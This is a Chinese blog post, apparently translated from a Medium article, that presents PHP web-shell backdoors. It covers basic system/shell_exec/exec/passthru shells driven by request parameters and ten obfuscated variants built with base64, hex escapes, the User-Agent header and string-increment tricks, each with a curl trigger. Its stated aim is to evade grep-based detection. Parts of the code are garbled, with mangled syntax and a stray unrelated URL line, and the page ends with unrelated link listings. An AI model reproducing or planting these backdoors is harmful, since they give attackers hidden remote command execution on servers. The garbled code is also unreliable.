前言

最近我研究了一种不寻常的小技巧,特地撰写这篇文章来与大家分享。这篇文章提供了许多后门代码中使用的exit()基础知识,开箱即用。

这篇文章的关注点在于全局变量GET,POST,REQUEST。

最常用的函数

(PHP 4, PHP 5, PHP 7)

shell_exec - Execute command via shell and return the complete output as a string

string shell_exec (string $ cmd)

EXEC-> php -r 'shell_exec ("ls -la");'

(PHP 4, PHP 5, PHP 7)

system - Executes an external program and shows the output

string system (string $ command [, int & $ return_var])

EXEC-> php -r 'system ("ls -la");'

(PHP 4, PHP 5, 7 PHP)

exec - Execute external program

string Exec (Command String $ [, $ & array output [int & return_var $]])

EXEC-> php -r 'exec ("ls -la", $ var); print_r ($ var);'

(PHP 4, PHP 5, PHP 7)

passthru - Execute an external program and show the raw output

void passthru (string $ command [, int & $ return_var])

EXEC-> php -r 'passthru ("ls -la", $ var); '

简单的应用

shell_exec:

if (isset ($ _ REQUEST ['cmd'])) {$ cmd = shell_exec ($ _ REQUEST ['cmd']);

print_r ($ cmd);}

system:

if (isset ($ _ REQUEST ['cmd'])) {system ($ _ REQUEST ['cmd']); }

exec:

if (isset ($ _ REQUEST ['cmd'])) {exec ($ _ REQUEST ['cmd']); }

passthru:

if (isset ($ _ REQUEST ['cmd'])) {passthru ($ _ REQUEST ['cmd']); }

我们可以使用相同的函数,但要精心设计,避免使用简单的“grep-E”来显示我们的访问权限。

TIPS

在固定值中使用shellcode

可以不加节制地使用数组

本地函数的连接和变量的定义

base64_decode - encode (data), bin2hex, error_reporting (0)

使用系统上已存在的请求(GET或POST)。

研究恶意属性在系统类中的创建,创建其函数。

处理全局变量$ _SERVER的值。

研究PHP格式CMS文件的感染方法。

示例

示例01

c3lzdGVt = system, dW5hbWUgLWE7bHM7 = uname -a; ls; , aWQ = = id

CODE:

(error_reporting (0)) ($ __ = @ base64_decode ("c3lzdGVt")) $ __ ( base64_decode ("aWQ ="))

. define ("_", "dW5hbWUgLWE7bHM7"). __ ( base64_decode (_)). exit );

执行:

curl -v ‘http://localhost/shell.php'

示例02

c3lzdGVt = system

CODE:

(error_reporting (0) (= @ $ __. base64_decode ( "c3lzdGVt"))

. print ($ __ ( Isset ($ _REQUEST [0]) REQUEST $ _ [0] NULL))?. EXIT );

执行:

curl -v ‘http://localhost/shell.php?0=id'

示例03

ZWNobyhzaGVsbF9leGVjKCRfKSk7 = echo (shell_exec ($ _));

CODE:

( Error_reporting (0)) ($ _ = $ _ REQUEST [0]).

($ __ = @. Create_function ( '$ _' base64_decode ( "ZWNobyhzaGVsbF9leGVjKCRfKSk7"))) ($ __ ($ _) exit..);

执行:

curl -v ‘http://localhost/shell.php?0=id'

示例04

$ _GET [1] = Function name, $ _GET [2] = command that will execute

CODE:

( Error_reporting (0) (= @ $ _ $ _ GET [1]) (.. $ _ ($ _GET [2])). EXIT );

执行:

curl -v ‘http://localhost/shell.php?1=system&2=id;uname'

示例05

$ _REQUEST [1] = Function name, $ _REQUEST [2] = command that will execute

CODE:

( error_reporting (0)). ( extract ($ _REQUEST, EXTR_PREFIX_ALL))

($ _ = @ get_defined_vars () ['_ REQUEST']) ( define ('_', $ _ [2])) (($ _ [1] (_));

示例06

函数:

SFRUUF9VU0VSX0FHRU5U = HTTP_USER_AGENT

CODE:

( error_reporting (0)). ($ _ = @ explode (',', $ _ SERVER [ base64_decode ('SFRUUF9VU0VSX0FHRU5U')]))

($ _ [0] ("{$ _ [1]")). exit ;

示例07

函数:

\x30=0, \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6D=m

CODE:

( error_reporting (0)). ($ _ [0] [] = @ $ _ GET ["\ x30"])

($ _ [1] [] = "\ x73") ($ _ [1] [] = "\ x79").

($ _ [1] [] = "\ x6D") ($ _ [1] [] = "\ x65").($ ___. = $ __ [0])

($ __ = @ get_defined_vars () ['_'] [1])

($ ___. = $ __ [1]) ($ ___. = $ __ [2]) ($ ___. = $ __ [3])

. ($ = ___ __ $ [4].) ($ = $ __ ___ [5].) (($ ___ ( "{$ _ [0] [0]}"))... EXIT );

Execution: curl -v ‘http://localhost/shell.php?0=id;uname%20-a'

示例08

$ _REQUEST [0] = Command that will execute

CODE:

( error_reporting (0)). ( str_replace ('$', '@', '#')

, 's $ ## and @ # $ @ # $ @ # $ @ s $ # $ @ # $ ($ _ {$ _ REQUEST [0]}));

执行:

curl -v ‘http://localhost/shell.php?0=id

示例09

函数:

$ _POST [‘shellrox’] = Command that will execute

CODE:

( error_reporting (0)). ($ _ = [("\ x73 \ x79").

("\ x74 \ x65 \ x6d"), "\ x73 \ x68 \ x65 \ x6c", "\ x6c \ x72 \ x6f \ x78"

($ _ [0] ($ _ POST [$ _ [1]. $ _ [2]]));

执行:

curl -d “shellrox=id;uname -a” -X POST ‘http://localhost/shell.php'

示例10

函数:

$ _ = ""; # we need a blank string to start

Eur-lex.europa.eu eur-lex.europa.eu # access part of the string to convert to an array

$ _ = $ _. ""; # convert the array into a string of "Array"

Eur-lex.europa.eu eur-lex.europa.eu # access the 0 index of the string "Array" which is "A"

# INCREASING VALUES TO FIND THE LETTERS

# IF YOU WANT TO MOUNT THE STRING SYSTEM

($ _ ++); #THE

($ _ ++); #B

($ _ ++); #W

($ _ ++); #D

# FIRST LETTER FOUND IS PLAYED IN A SECONDARY ARRAY

($ ___ [] = $ _ ++);

($ _ ++); #F

($ _ ++); #G

($ _ ++); #H

($ _ ++); #I

($ _ ++); #J

($ _ ++); #K

($ _ ++); #L

# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY

($ ___ [] = $ _ ++); # M

($ _ ++); #N

($ _ ++); #O

($ _ ++); #P

($ _ ++); #Q

($ _ ++); #R

# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY

($ ___ [] = $ _ ++);

# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY

($ ___ [] = $ _ ++); # T

($ _ ++); #U

($ _ ++); #V

($ _ ++); #W

($ _ ++); #X

# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY

($ ___ [] = $ _ ++);

(Z)

# ARRAY DEBUG:

/ * Array

(

[0] => E

[1] => M

[2] => S

[3] => T

[4] => Y

)

* /

# MOUNT STRING WITH ARRAY FIELDS $ ___

$ ___ [2]. $ ___ [4]. $ ___ [2]. $ ___ [3]. ___ [0]. ___ [1];

# USING ANONYMOUS FUNCTION TECHNIQUE FOR IMPLEMENTATION

$ _____ ('id; uname -a');

极简版本(MINIMALIST VERSION:)

($ _ = $ _ [+] "). ($ _ ++). ($ _ = $ _.

($ _ ++). ($ _ ++). ($ _ ++) ($ _ ++).

($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).

($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).

($ _ ++). ($ _ ++). ($ _ ++).

($ ___ [] = $ _ ++). ($ _ ++)

(_____ = $ ___ [2]. $ ___ [4]. ___ [2]. ___ [3]. ___ [0]. ___ [1])

($ _____ ('id; uname -a'));

Execution: curl -v 'http://localhost/shell.php'

注意:还有成千上万的技巧,接下来我会一一撰写文章与大家分享。

参考

翻译来源:https://medium.com/@th3law/hold-the-shit-php-backdoor-for-fun-196c202c8cbf

常见的php后门,有趣的PHP后门相关推荐

  1. php后门检测工具,phpStudy后门如何检测和修复

    背景 一篇<Phpstudy官网于2016年被入*,犯罪分子篡改软件并植入后门>让人触目惊心,从官网的下载官方安装包也会有问题,由此可想而知目前已经有多少网站已经沦陷.接到消息的第一时间, ...

  2. 服务器有木马后门如何查找SSH后门

    关于SSH后门木马查杀,那SSH协议其实它是一个加密的网络传输协议,通常咱们使用它作为Linux管理使用,那它用来传输命令界面和远程执行命令,也就是咱们现在看到的这个界面,通常计算机被入侵之后,如果这 ...

  3. 服务器后还有一系列留后门,服务器留隐蔽后门

    服务器留隐蔽后门 内容精选 换一换 修改裸金属服务器名称.裸金属服务器名称取值范围:只能由中文字符.英文字母(a~z,A~Z).数字(0~9).下划线(_).中划线(-).点(.)组成,且长度为[1- ...

  4. 浅析Windows2000/XP服务与后门技术(经典后门T-cmd的源码)

    一.序言Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon).它们 ...

  5. iBackDoor(爱后门)和DroidBackDoor(安后门):同时影响iOS和Android的”后门”SDK?

    蒸米 · 2015/11/05 10:11 作者:[email protected],[email protected],[email protected] 0x00 FireEye报告 iOS被Xc ...

  6. php自动生成后门代码,PHP小后门代码

    http://blog.ddian.cn/?post=980 1.[代码][PHP]代码 $fp = ''; $path = ''; if(empty($_GET['action'])){ if(em ...

  7. windows中常见后门持久化方法总结

    前言 当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法 后门持久化 我的操作 ...

  8. 【安全研究】Linux后渗透常见后门驻留方式分析

    一.引言 当RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门 ...

  9. 20194307肖江宇Exp2—后门原理与实践

    文章目录 20194307肖江宇Exp-2后门原理与实践 1.实验基础 1.1基础知识 1.2常用后门工具 NC和Netcat SoCat 任何代理.转发等功能都可以用该工具实现. Meterpret ...

最新文章

  1. Function in loop and closure
  2. synchronized的可重入怎么实现的
  3. Tcp连接arp协议详解
  4. linux内核那些事之物理内存模型之SPARSE(3)
  5. 利刃 MVVMLight 2:Model、View、ViewModel结构以及全局视图模型注入器的说明
  6. 动态绑数据(GridView控件Header和ItemTemplate)
  7. 那些坑爹的老代码,究竟改还是不改?!
  8. 5个免费音效素材网站
  9. Spring-Boot开发者工具:自动重启、LiveReload、远程开发、默认的开发时属性值
  10. 蚁群算法原理以及应用
  11. 看图识物_‎App Store 上的“认识动物-看图识物大全、学英语”
  12. jmeter菜鸟教程(jmeter安装教程)
  13. 如何网页访问摄像机?海康威视官方文档
  14. Python数据类型——数值型详解
  15. SUST 2019暑期集训题解(差分约束+生成树+传递闭包)
  16. Processing编程学习指南3.4 鼠标点击和键盘操作
  17. MySQL鲜为人知的排序方式
  18. 解决“Liquibase: Waiting for changelog lock”数据库死锁问题
  19. Natas 幽灵王病毒分析
  20. 【个人经历】22届-cs保研历程

热门文章

  1. 一个想法:利用VHD部署系统
  2. OpenCV-图像锐化
  3. caffe win 还是 linux,caffe的windows版本安装,超级简单
  4. 0 full gc时cpu idle_结合GC日志讲讲CMS垃圾收集器
  5. python输入10个数字排序案例_介绍十个Python小案例,新手入门就在这里
  6. create报错不是函数_node.js – sequelize .create不是函数错误
  7. 软件测试都需要哪些工具呢?一文带你看清
  8. 自学了三个月的软件测试,从小白到自动化测试工程师,我是如何从零拿到大厂offer的
  9. QT4C-Windows自动化测试框架正式开源
  10. webdriver原理_(最新版)如何正确移除 Pyppeteer 中的window.navigator.webdriver